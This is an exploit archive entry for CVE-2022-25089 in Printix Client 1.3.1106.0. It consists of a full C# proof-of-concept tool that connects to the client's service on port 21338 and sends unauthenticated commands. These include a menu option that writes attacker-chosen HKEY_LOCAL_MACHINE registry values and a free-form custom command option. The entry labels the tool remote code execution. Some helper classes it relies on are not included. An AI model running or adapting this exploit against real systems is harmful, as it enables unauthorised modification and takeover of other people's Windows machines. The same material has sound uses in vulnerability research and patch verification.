Printix Client 1.3.1106.0 Remote Code Execution

Related Vulnerabilities: CVE-2022-25089  
Publish Date: 02 Mar 2022
                # Exploit Title: Printix Client 1.3.1106.0 - Remote Code Execution (RCE)
# Date: 3/1/2022
# Exploit Author: Logan Latvala
# Vendor Homepage: https://printix.net
# Software Link: https://software.printix.net/client/win/1.3.1106.0/PrintixClientWindows.zip
# Version: <= 1.3.1106.0
# Tested on: Windows 7, Windows 8, Windows 10, Windows 11
# CVE : CVE-2022-25089
# Github for project: https://github.com/ComparedArray/printix-CVE-2022-25089

using Microsoft.Win32;
using Newtonsoft.Json;
using Newtonsoft.Json.Converters;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;

/**
 * ________________________________________
 * 
 * Printix Vulnerability, CVE-2022-25089
 * Part of a Printix Vulnerability series
 * Author: Logan Latvala
 * Github: https://github.com/ComparedArray/printix-CVE-2022-25089
 * ________________________________________
 * 
 */


namespace ConsoleApp1a
{

  public class PersistentRegistryData
  {
    public PersistentRegistryCmds cmd;

    public string path;

    public int VDIType;

    public byte[] registryData;
  }

  [JsonConverter(typeof(StringEnumConverter))]
  public enum PersistentRegistryCmds
  {
    StoreData = 1,
    DeleteSubTree,
    RestoreData
  }
  public class Session
  {
    public int commandNumber { get; set; }
    public string host { get; set; }
    public string data { get; set; }
    public string sessionName { get; set; }
    public Session(int commandSessionNumber = 0)
    {
      commandNumber = commandSessionNumber;
      switch (commandSessionNumber)
      {
        //Incase it's initiated, kill it immediately.
        case (0):
          Environment.Exit(0x001);
          break;

        //Incase the Ping request is sent though, get its needed data.
        case (2):
          Console.WriteLine("\n What Host Address?  (DNS Names Or IP)\n");
          Console.Write("IP: ");
          host = Console.ReadLine();
          Console.WriteLine("Host address set to: " + host);

          data = "pingData";
          sessionName = "PingerRinger";
          break;

        //Incase the RegEdit request is sent though, get its needed data.
        case (49):
          Console.WriteLine("\n What Host Address?  (DNS Names Or IP)\n");
          Console.Write("IP: ");
          host = Console.ReadLine();
          Console.WriteLine("Host address set to: " + host);

          PersistentRegistryData persistentRegistryData = new PersistentRegistryData();
          persistentRegistryData.cmd = PersistentRegistryCmds.RestoreData;
          persistentRegistryData.VDIType = 12; //(int)DefaultValues.VDIType;
                             //persistentRegistryData.path = "printix\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName";
          Console.WriteLine("\n What Node starting from \\\\Local-Machine\\ would you like to select? \n");
          Console.WriteLine("Example: HKEY_LOCAL_MACHINE\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName\n");
          Console.WriteLine("You can only change values in HKEY_LOCAL_MACHINE");
          Console.Write("Registry Node: ");
          persistentRegistryData.path = "" + Console.ReadLine().Replace("HKEY_LOCAL_MACHINE","printix");
          Console.WriteLine("Full Address Set To:  " + persistentRegistryData.path);

          //persistentRegistryData.registryData = new byte[2];
          //byte[] loader = selectDataType("Intel(R) Capability Licensing stuffidkreally", RegistryValueKind.String);

          Console.WriteLine("\n What Data type are you using? \n1. String 2. Dword  3. Qword 4. Multi String  \n");
          Console.Write("Type:  ");
          int dataF = int.Parse(Console.ReadLine());
          Console.WriteLine("Set Data to: " + dataF);

          Console.WriteLine("\n What value is your type?  \n");
          Console.Write("Value:  ");
          string dataB = Console.ReadLine();
          Console.WriteLine("Set Data to: " + dataF);

          byte[] loader = null;
          List<byte> byteContainer = new List<byte>();
          //Dword = 4
          //SET THIS NUMBER TO THE TYPE OF DATA YOU ARE USING! (CHECK ABOVE FUNCITON selectDataType()!)

          switch (dataF)
          {
            case (1):

              loader = selectDataType(dataB, RegistryValueKind.String);
              byteContainer.Add(1);
              break;
            case (2):
              loader = selectDataType(int.Parse(dataB), RegistryValueKind.DWord);
              byteContainer.Add(4);
              break;
            case (3):
              loader = selectDataType(long.Parse(dataB), RegistryValueKind.QWord);
              byteContainer.Add(11);
              break;
            case (4):
              loader = selectDataType(dataB.Split('%'), RegistryValueKind.MultiString);
              byteContainer.Add(7);
              break;

          }

          int pathHolder = 0;
          foreach (byte bit in loader)
          {
            pathHolder++;
            byteContainer.Add(bit);
          }

          persistentRegistryData.registryData = byteContainer.ToArray();
          //added stuff:

          //PersistentRegistryData data = new PersistentRegistryData();
          //data.cmd = PersistentRegistryCmds.RestoreData;
          //data.path = "";


          //data.cmd 
          Console.WriteLine(JsonConvert.SerializeObject(persistentRegistryData));
          data = JsonConvert.SerializeObject(persistentRegistryData);

          break;
        //Custom cases, such as custom JSON Inputs and more.
        case (100):
          Console.WriteLine("\n What Host Address?  (DNS Names Or IP)\n");
          Console.Write("IP: ");
          host = Console.ReadLine();
          Console.WriteLine("Host address set to: " + host);

          Console.WriteLine("\n What Data Should Be Sent?\n");
          Console.Write("Data: ");
          data = Console.ReadLine();
          Console.WriteLine("Data set to: " + data);

          Console.WriteLine("\n What Session Name Should Be Used? \n");
          Console.Write("Session Name: ");
          sessionName = Console.ReadLine();
          Console.WriteLine("Session name set to: " + sessionName);
          break;
      }


    }
    public static byte[] selectDataType(object value, RegistryValueKind format)
    {
      byte[] array = new byte[50];

      switch (format)
      {
        case RegistryValueKind.String: //1
          array = Encoding.UTF8.GetBytes((string)value);
          break;
        case RegistryValueKind.DWord://4
          array = ((!(value.GetType() == typeof(int))) ? BitConverter.GetBytes((long)value) : BitConverter.GetBytes((int)value));
          break;
        case RegistryValueKind.QWord://11
          if (value == null)
          {
            value = 0L;
          }
          array = BitConverter.GetBytes((long)value);
          break;
        case RegistryValueKind.MultiString://7 
          {
            if (value == null)
            {
              value = new string[1] { string.Empty };
            }
            string[] array2 = (string[])value;
            foreach (string s in array2)
            {
              byte[] bytes = Encoding.UTF8.GetBytes(s);
              byte[] second = new byte[1] { (byte)bytes.Length };
              array = array.Concat(second).Concat(bytes).ToArray();
            }
            break;
          }
      }
      return array;
    }
  }
  class CVESUBMISSION
    {
    static void Main(string[] args)
    {
    FORCERESTART:
      try
      {

        //Edit any registry without auth: 
        //Use command 49, use the code provided on the desktop...
        //This modifies it directly, so no specific username is needed. :D

        //The command parameter, a list of commands is below.
        int command = 43;

        //To force the user to input variables or not.
        bool forceCustomInput = false;

        //The data to send, this isn't flexible and should be used only for specific examples.
        //Try to keep above 4 characters if you're just shoving things into the command.
        string data = "{\"profileID\":1,\"result\":true}";

        //The username to use.
        //This is to fulfill the requriements whilst in development mode.
        DefaultValues.CurrentSessName = "printixMDNs7914";

        //The host to connect to. DEFAULT= "localhost"
        string host = "192.168.1.29";

      //                Configuration Above

      InvalidInputLabel:
        Console.Clear();
        Console.WriteLine("Please select the certificate you want to use with port 21338.");
        //Deprecated, certificates are no longer needed to verify, as clientside only uses the self-signed certificates now.
        Console.WriteLine("Already selected, client authentication isn't needed.");

        Console.WriteLine(" /───────────────────────────\\ ");
        Console.WriteLine("\nWhat would you like to do?");
        Console.WriteLine("\n  1. Send Ping Request");
        Console.WriteLine("  2. Send Registry Edit Request");
        Console.WriteLine("  3. Send Custom Request");
        Console.WriteLine("  4. Experimental Mode (Beta)\n");
        Console.Write("I choose option # ");

        try
        {
          switch (int.Parse(Console.ReadLine().ToLower()))
          {
            case (1):
              Session session = new Session(2);

              command = session.commandNumber;
              host = session.host;
              data = session.data;
              DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200);



              break;
            case (2):
              Session sessionTwo = new Session(49);

              command = sessionTwo.commandNumber;
              host = sessionTwo.host;
              data = sessionTwo.data;
              DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200);

              break;
            case (3):

              Console.WriteLine("What command number do you want to input?");
              command = int.Parse(Console.ReadLine().ToString());
              Console.WriteLine("What IP would you like to use? (Default = localhost)");
              host = Console.ReadLine();
              Console.WriteLine("What data do you want to send? (Keep over 4 chars if you are not sure!)");
              data = Console.ReadLine();

              Console.WriteLine("What session name do you want to use? ");
              DefaultValues.CurrentSessName = Console.ReadLine();
              break;
            case (4):
              Console.WriteLine("Not yet implemented.");
              break;
          }
        }
        catch (Exception e)
        {
          Console.WriteLine("Invalid Input!");
          goto InvalidInputLabel;
        }
        
        Console.WriteLine("Proof Of Concept For CVE-2022-25089 | Version: 1.3.24 | Created by Logan Latvala");
        Console.WriteLine("This is a RAW API, in which you may get unintended results from usage.\n");

        CompCommClient client = new CompCommClient();


        byte[] responseStorage = new byte[25555];
        int responseCMD = 0;
        client.Connect(host, 21338, 3, 10000);

        client.SendMessage(command, Encoding.UTF8.GetBytes(data));
        // Theory: There is always a message being sent, yet it doesn't read it, or can't intercept it.
        // Check for output multiple times, and see if this is conclusive.



        //client.SendMessage(51, Encoding.ASCII.GetBytes(data));
        new Thread(() => {
          //Thread.Sleep(4000);
          if (client.Connected())
          {
            int cam = 0;
            // 4 itterations of loops, may be lifted in the future.
            while (cam < 5)
            {

              //Reads the datastream and keeps returning results.
              //Thread.Sleep(100);
              try
              {
                try
                {
                  if (responseStorage?.Any() == true)
                  {
                    //List<byte> byo1 =  responseStorage.ToList();
                    if (!Encoding.UTF8.GetString(responseStorage).Contains("Caption"))
                    {
                      foreach (char cam2 in Encoding.UTF8.GetString(responseStorage))
                      {
                        if (!char.IsWhiteSpace(cam2) && char.IsLetterOrDigit(cam2) || char.IsPunctuation(cam2))
                        {
                          Console.Write(cam2);
                        }
                      }
                    }else
                                        {
                      
                                        }
                  }

                }
                catch (Exception e) { Debug.WriteLine(e); }
                client.Read(out responseCMD, out responseStorage);

              }
              catch (Exception e)
              {
                goto ReadException;
              }
              Thread.Sleep(100);
              cam++;
              //Console.WriteLine(cam);
            }

          


          }
          else
          {
            Console.WriteLine("[WARNING]: Client is Disconnected!");
          }
        ReadException:
          try
          {
            Console.WriteLine("Command Variable Response: " + responseCMD);
            Console.WriteLine(Encoding.UTF8.GetString(responseStorage) + " || " + responseCMD);
            client.disConnect();
          }
          catch (Exception e)
          {
            Console.WriteLine("After 4.2 Seconds, there has been no response!");
            client.disConnect();
          }
        }).Start();

        Console.WriteLine(responseCMD);
        Console.ReadLine();

      }

      catch (Exception e)
      {
        Console.WriteLine(e);
        Console.ReadLine();

        //Environment.Exit(e.HResult);
      }

      goto FORCERESTART;
    }
  }
}
<p>